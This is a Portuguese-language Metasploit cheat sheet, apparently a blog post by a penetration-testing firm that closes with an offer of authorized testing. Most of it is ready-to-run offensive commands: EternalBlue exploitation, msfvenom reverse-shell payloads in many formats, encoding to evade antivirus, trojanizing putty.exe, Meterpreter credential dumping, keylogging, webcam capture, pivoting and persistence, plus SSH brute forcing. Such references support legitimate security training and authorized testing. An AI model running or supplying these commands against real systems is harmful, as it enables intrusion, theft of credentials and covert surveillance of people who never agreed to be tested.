Estrutura do Metasploit
Módulos principais:
Exploits — código que explora vulnerabilidades
Payloads — o que executa após o exploit (shell, meterpreter)
Auxiliary — scanners, fuzzers, sniffers, brute force
Post — pós-exploração: dump de credenciais, pivoting
Encoders — ofuscar payloads para bypass de AV
Evasion — módulos específicos de bypass
Nops — NOP sleds para buffer overflows
Interfaces:
msfconsole — interface principal (recomendada)
msfvenom — geração standalone de payloads
armitage — GUI (não recomendada para uso profissional)msfconsole — Comandos Básicos
# Iniciar
msfconsole
msfconsole -q # sem banner
# Buscar módulos
msf6 > search type:exploit name:eternalblue
msf6 > search cve:2021-44228
msf6 > search platform:windows type:exploit rank:excellent
msf6 > search ms17-010
# Usar módulo
msf6 > use exploit/windows/smb/ms17_010_eternalblue
msf6 exploit(ms17_010_eternalblue) > info # detalhes
msf6 exploit(ms17_010_eternalblue) > options # opções
# Configurar opções
msf6 > set RHOSTS 192.168.1.10
msf6 > set RPORT 445
msf6 > set LHOST 192.168.1.5
msf6 > set LPORT 4444
msf6 > set PAYLOAD windows/x64/meterpreter/reverse_tcp
# Verificar antes de executar
msf6 > check
# Executar
msf6 > run
msf6 > exploit
msf6 > exploit -j # background job
# Gerenciar sessões
msf6 > sessions
msf6 > sessions -i 1 # interagir com sessão 1
msf6 > sessions -k 1 # matar sessão 1
msf6 > sessions -K # matar todas
# Background da sessão atual
meterpreter > background
Ctrl+ZPayloads — Tipos e Diferenças
# Staged vs Stageless
# Staged: envia pequeno stager que baixa payload principal
# windows/x64/meterpreter/reverse_tcp (/ = staged)
# Stageless: payload completo de uma vez (maior, mas mais confiável)
# windows/x64/meterpreter_reverse_tcp (_ = stageless)
# Tipos de conexão
# reverse_tcp — alvo conecta de volta ao atacante (bypass firewall)
# bind_tcp — atacante conecta ao alvo (requer porta aberta)
# reverse_https — reverse via HTTPS (mais furtivo)
# reverse_http — reverse via HTTP
# Listar payloads compatíveis com exploit selecionado
msf6 > show payloads
# Payloads mais usados
windows/x64/meterpreter/reverse_tcp
windows/x64/shell/reverse_tcp
linux/x64/meterpreter/reverse_tcp
linux/x64/shell/reverse_tcp
java/meterpreter/reverse_tcp
python/meterpreter/reverse_tcp
osx/x64/meterpreter/reverse_tcpmsfvenom — Geração de Payloads
# Payload Windows EXE
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.10.10 LPORT=4444 -f exe -o payload.exe
# DLL
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.10.10 LPORT=4444 -f dll -o payload.dll
# PowerShell
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.10.10 LPORT=4444 -f ps1 -o payload.ps1
# Linux ELF
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=10.10.10.10 LPORT=4444 -f elf -o payload
chmod +x payload
# PHP webshell
msfvenom -p php/meterpreter/reverse_tcp LHOST=10.10.10.10 LPORT=4444 -f raw -o shell.php
# JSP (Java)
msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.10.10 LPORT=4444 -f raw -o shell.jsp
# APK Android
msfvenom -p android/meterpreter/reverse_tcp LHOST=10.10.10.10 LPORT=4444 -o payload.apk
# HTA
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.10.10 LPORT=4444 -f hta-psh -o payload.hta
# Encoders para bypass de AV (eficácia limitada em AV modernos)
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.10.10 LPORT=4444 -e x64/xor_dynamic -i 5 -f exe -o encoded.exe
# Listar encoders
msfvenom -l encoders
# Injetar em executável legítimo (backdoor)
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.10.10 LPORT=4444 -e x64/xor_dynamic -x putty.exe -k -f exe -o putty_backdoor.exe
# Handler (listener) para receber conexão
msf6 > use exploit/multi/handler
msf6 > set PAYLOAD windows/x64/meterpreter/reverse_tcp
msf6 > set LHOST 0.0.0.0
msf6 > set LPORT 4444
msf6 > exploit -jMeterpreter — Pós-Exploração
# Informações do sistema
meterpreter > sysinfo
meterpreter > getuid
meterpreter > getpid
meterpreter > ps # processos em execução
# Navegação de arquivos
meterpreter > pwd
meterpreter > ls
meterpreter > cd C:\\Users
# Upload e download
meterpreter > upload /tools/mimikatz.exe C:\\Temp\\mimikatz.exe
meterpreter > download C:\\Users\\Admin\\Desktop\\flag.txt /tmp/
meterpreter > download C:\\Windows\\System32\\SAM /tmp/
# Executar comandos
meterpreter > shell # shell interativo
meterpreter > execute -f cmd.exe -i
meterpreter > execute -f powershell.exe -i -H # oculto
# Network
meterpreter > ifconfig
meterpreter > arp
meterpreter > netstat
meterpreter > route
# Escalação de privilégio
meterpreter > getsystem # tentar elevação automática
meterpreter > getprivs # privilégios atuais
# Dump de credenciais
meterpreter > hashdump # SAM database
meterpreter > run post/windows/gather/credentials/credential_collector
meterpreter > load kiwi # Mimikatz integrado
meterpreter > creds_all # dump completo
meterpreter > lsa_dump_sam
meterpreter > lsa_dump_secrets
# Migration de processo (para estabilidade e evasão)
meterpreter > migrate 1234 # migrar para PID 1234
meterpreter > migrate -N explorer.exe # migrar para Explorer
# Keylogger
meterpreter > keyscan_start
meterpreter > keyscan_dump
meterpreter > keyscan_stop
# Screenshot
meterpreter > screenshot
# Câmera
meterpreter > webcam_list
meterpreter > webcam_snap
# Pivoting
meterpreter > run post/multi/manage/autoroute SUBNET=192.168.2.0 NETMASK=255.255.255.0
meterpreter > portfwd add -l 3389 -p 3389 -r 192.168.2.10
# Persistência
meterpreter > run post/windows/manage/persistence_exe STARTUP=SCHEDULER
meterpreter > run post/windows/manage/persistence STARTUP=REGISTRYMódulos Auxiliary Importantes
# Scanners
use auxiliary/scanner/portscan/tcp
use auxiliary/scanner/smb/smb_ms17_010
use auxiliary/scanner/ssh/ssh_version
use auxiliary/scanner/http/http_version
use auxiliary/scanner/vnc/vnc_none_auth
# Brute force
use auxiliary/scanner/ssh/ssh_login
set RHOSTS 192.168.1.0/24
set USERNAME admin
set PASS_FILE /usr/share/wordlists/rockyou.txt
use auxiliary/scanner/smb/smb_login
use auxiliary/scanner/http/form_bruteforce
# Sniffing
use auxiliary/sniffer/psnuffle # captura credenciais
# SNMP
use auxiliary/scanner/snmp/snmp_enumshares
# Fuzzers
use auxiliary/fuzzer/http/http_form_fieldMódulos Post-Exploitation
# Dump de informações
run post/windows/gather/checkvm # em VM?
run post/windows/gather/enum_applications # apps instalados
run post/windows/gather/enum_domain # info de domínio AD
run post/multi/gather/env # variáveis de ambiente
run post/multi/gather/ssh_creds # chaves SSH
# Movimentação lateral
run post/windows/manage/enable_rdp # habilitar RDP
run post/multi/manage/shell_to_meterpreter
# Escalação de privilégio
run post/multi/recon/local_exploit_suggester # sugere exploits locais
run post/windows/escalate/getsystem
# Pivoting
run post/multi/manage/autoroute Quer testar isso na prática?
A CyberZ realiza testes autorizados de segurança usando as técnicas descritas neste artigo — e muito mais. Identifique suas vulnerabilidades antes que os invasores o façam.
Falar com Especialista